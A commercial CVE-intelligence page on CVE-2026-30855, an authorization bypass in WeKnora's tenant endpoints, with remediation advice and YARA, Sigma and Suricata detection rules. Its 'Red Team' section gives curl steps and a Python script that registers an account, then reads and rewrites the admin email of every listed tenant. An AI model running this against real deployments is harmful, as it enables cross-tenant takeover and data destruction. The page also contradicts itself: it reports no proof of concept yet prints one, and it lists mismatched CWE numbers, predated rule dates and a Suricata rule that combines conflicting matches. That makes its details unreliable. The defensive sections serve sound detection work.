☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Tencent logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 🐛 CWE-284
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-30855

CVE-2026-30855 Authorization Bypass in Weknora
📅 PUBLISHED: 2026-03-07 16:31 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.48%
👁️
0.48% probability
11.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: China License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-30855 is a critical authorization bypass vulnerability in WeKnora, an LLM-powered framework for deep document understanding and semantic retrieval. The vulnerability resides in the tenant management endpoints, allowing any authenticated user to read, modify, or delete any tenant by ID. Since account registration is open to the public, an unauthenticated attacker can register an account and then exploit this flaw to perform cross-tenant account takeover and destruction. The CVSS score is 8.8 (High), and the vendor has released a patch in version 0.3.2. No public exploit code or Nuclei template is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

WeKnora is a Python-based framework. The vulnerability affects the application's API layer, not a specific package dependency. However, organizations using WeKnora should verify the integrity of their deployment and ensure no malicious modifications have been made. The patch is available in the official repository.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.8 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: Critical. The vulnerability allows complete compromise of tenant data and operations. The public registration feature makes exploitation trivial for any attacker.

Deep Dive & Mechanics

The vulnerability is an authorization bypass (CWE-862) in the tenant management endpoints of WeKnora. The application fails to verify that the authenticated user has the necessary permissions to access, modify, or delete a specific tenant. Instead, it only checks that the user is authenticated, not that they are authorized for that particular tenant.

Root Cause: The tenant management API endpoints (e.g., /api/tenants/{tenant_id}) do not perform an authorization check to ensure the requesting user belongs to or has rights over the target tenant. This allows any authenticated user to manipulate any tenant.

Attack Flow:

  1. Attacker registers a new account via the public registration endpoint.
  2. Attacker authenticates and obtains a session token or API key.
  3. Attacker sends requests to tenant management endpoints with arbitrary tenant IDs.
  4. The server processes the request without verifying authorization, allowing the attacker to read, modify, or delete the target tenant.

Impact:

  • Cross-Tenant Account Takeover: An attacker can modify tenant settings, including user roles and credentials, to gain control of other tenants.
  • Data Destruction: An attacker can delete tenants, causing permanent data loss.
  • Privilege Escalation: An attacker can elevate their own privileges within a compromised tenant.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-0.3.2):

# Example vulnerable endpoint
@app.route('/api/tenants/<tenant_id>', methods=['GET', 'PUT', 'DELETE'])
@login_required
def manage_tenant(tenant_id):
    # No authorization check - only authentication is verified
    tenant = Tenant.query.get(tenant_id)
    if not tenant:
        return jsonify({'error': 'Tenant not found'}), 404
    if request.method == 'GET':
        return jsonify(tenant.to_dict())
    elif request.method == 'PUT':
        data = request.get_json()
        tenant.update(data)
        db.session.commit()
        return jsonify(tenant.to_dict())
    elif request.method == 'DELETE':
        db.session.delete(tenant)
        db.session.commit()
        return jsonify({'message': 'Tenant deleted'})

Patched Code (0.3.2):

# Example patched endpoint
@app.route('/api/tenants/<tenant_id>', methods=['GET', 'PUT', 'DELETE'])
@login_required
def manage_tenant(tenant_id):
    tenant = Tenant.query.get(tenant_id)
    if not tenant:
        return jsonify({'error': 'Tenant not found'}), 404
    # Authorization check: ensure user belongs to the tenant
    if current_user.tenant_id != tenant.id and not current_user.is_admin:
        return jsonify({'error': 'Unauthorized'}), 403
    if request.method == 'GET':
        return jsonify(tenant.to_dict())
    elif request.method == 'PUT':
        data = request.get_json()
        tenant.update(data)
        db.session.commit()
        return jsonify(tenant.to_dict())
    elif request.method == 'DELETE':
        db.session.delete(tenant)
        db.session.commit()
        return jsonify({'message': 'Tenant deleted'})

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WeKnora instance (version < 0.3.2) with public registration enabled.
  • Python 3.x with requests library.

Exploitation Steps:

  1. Register a new account:
curl -X POST http://target-weknora/api/register \
  -H "Content-Type: application/json" \
  -d '{"username": "attacker", "password": "password123", "email": "attacker@example.com"}'
  1. Authenticate and obtain token:
curl -X POST http://target-weknora/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "attacker", "password": "password123"}'

Save the returned token (e.g., TOKEN).

  1. Enumerate tenants (if possible):
curl http://target-weknora/api/tenants \
  -H "Authorization: Bearer TOKEN"
  1. Read a specific tenant:
curl http://target-weknora/api/tenants/TENANT_ID \
  -H "Authorization: Bearer TOKEN"
  1. Modify a tenant (e.g., change admin email):
curl -X PUT http://target-weknora/api/tenants/TENANT_ID \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"admin_email": "attacker@example.com"}'
  1. Delete a tenant:
curl -X DELETE http://target-weknora/api/tenants/TENANT_ID \
  -H "Authorization: Bearer TOKEN"

Automated Exploit Script:

import requests
import sys

target = sys.argv[1]
username = "attacker_" + __import__('random').choice('abcdefghijklmnopqrstuvwxyz')
password = "password123"

# Register
reg_resp = requests.post(f"{target}/api/register", json={"username": username, "password": password, "email": f"{username}@example.com"})
print(f"Registration: {reg_resp.status_code}")

# Login
login_resp = requests.post(f"{target}/api/login", json={"username": username, "password": password})
token = login_resp.json().get("token")
print(f"Token: {token}")

# List tenants
tenants_resp = requests.get(f"{target}/api/tenants", headers={"Authorization": f"Bearer {token}"})
tenants = tenants_resp.json()
print(f"Tenants: {tenants}")

# For each tenant, attempt takeover
for tenant in tenants:
    tenant_id = tenant.get("id")
    # Read
    read_resp = requests.get(f"{target}/api/tenants/{tenant_id}", headers={"Authorization": f"Bearer {token}"})
    print(f"Read tenant {tenant_id}: {read_resp.status_code}")
    # Modify
    mod_resp = requests.put(f"{target}/api/tenants/{tenant_id}", headers={"Authorization": f"Bearer {token}"}, json={"admin_email": f"attacker@{tenant_id}.com"})
    print(f"Modify tenant {tenant_id}: {mod_resp.status_code}")

Blue Team

Detection and Response:

  1. Monitor for unusual registration patterns: Multiple registrations from the same IP or with similar usernames.
  2. Alert on unauthorized tenant access: Log all tenant management API calls and flag those where the user's tenant ID does not match the target tenant ID.
  3. Rate limiting: Implement rate limiting on registration and tenant management endpoints.
  4. Audit logs: Enable detailed audit logging for all tenant operations.
  5. Honeypot tenants: Create fake tenants with monitoring to detect unauthorized access.

Immediate Response:

  • Disable public registration if not required.
  • Review all tenant management logs for suspicious activity.
  • Rotate all tenant admin credentials.
  • Apply the patch (upgrade to version 0.3.2).

Indicators of Compromise (IOCs)

  • Network IOCs:

    • Unusual API calls to /api/tenants/{id} from users not associated with that tenant.
    • High volume of registration requests from a single IP.
    • API calls with PUT or DELETE methods to tenant endpoints from unexpected users.
  • System IOCs:

    • Unexpected changes to tenant configuration (e.g., admin email, settings).
    • Deleted tenants without authorized action.
    • New user accounts with administrative privileges in tenants they shouldn't have access to.
  • Log IOCs:

    • Log entries showing 403 Forbidden followed by successful 200 OK for the same tenant ID (indicating bypass).
    • Multiple failed login attempts followed by successful tenant manipulation.

Detection Engineering

YARA Rule

rule CVE_2026_30855_WeKnora_Tenant_Bypass {
    meta:
        description = "Detects WeKnora tenant management authorization bypass attempts"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-30855"
        hash = "unknown"
    strings:
        $s1 = "/api/tenants/" ascii wide nocase
        $s2 = "PUT" ascii wide nocase
        $s3 = "DELETE" ascii wide nocase
        $s4 = "Authorization: Bearer" ascii wide nocase
    condition:
        all of ($s1, $s4) and any of ($s2, $s3)
}

Sigma Rule

title: WeKnora Tenant Management Authorization Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-30855 by accessing tenant management endpoints without proper authorization.
author: Valters IT
date: 2026/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30855
logsource:
    category: webserver
    product: weknora
detection:
    selection:
        http.method: 
            - 'PUT'
            - 'DELETE'
        http.url: 
            - '/api/tenants/*'
    condition: selection
falsepositives:
    - Legitimate tenant management by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-30855 WeKnora Tenant Management Authorization Bypass"; flow:to_server; http.method; content:"PUT"; http.uri; content:"/api/tenants/"; nocase; http.method; content:"DELETE"; http.uri; content:"/api/tenants/"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade WeKnora to version 0.3.2 or later.
  2. Disable public registration if not required for business operations.
  3. Review and rotate all tenant admin credentials.
  4. Audit tenant management logs for any suspicious activity.

Long-term Mitigations:

  1. Implement proper authorization checks for all API endpoints.
  2. Use role-based access control (RBAC) to enforce tenant isolation.
  3. Enable multi-factor authentication (MFA) for all users.
  4. Conduct regular security audits and penetration testing.
  5. Monitor for similar vulnerabilities in other parts of the application.

Workaround (if patching is not immediately possible):

  • Implement a reverse proxy (e.g., Nginx) to add authorization checks before requests reach the WeKnora application.
  • Temporarily disable the tenant management API endpoints.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-30855/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.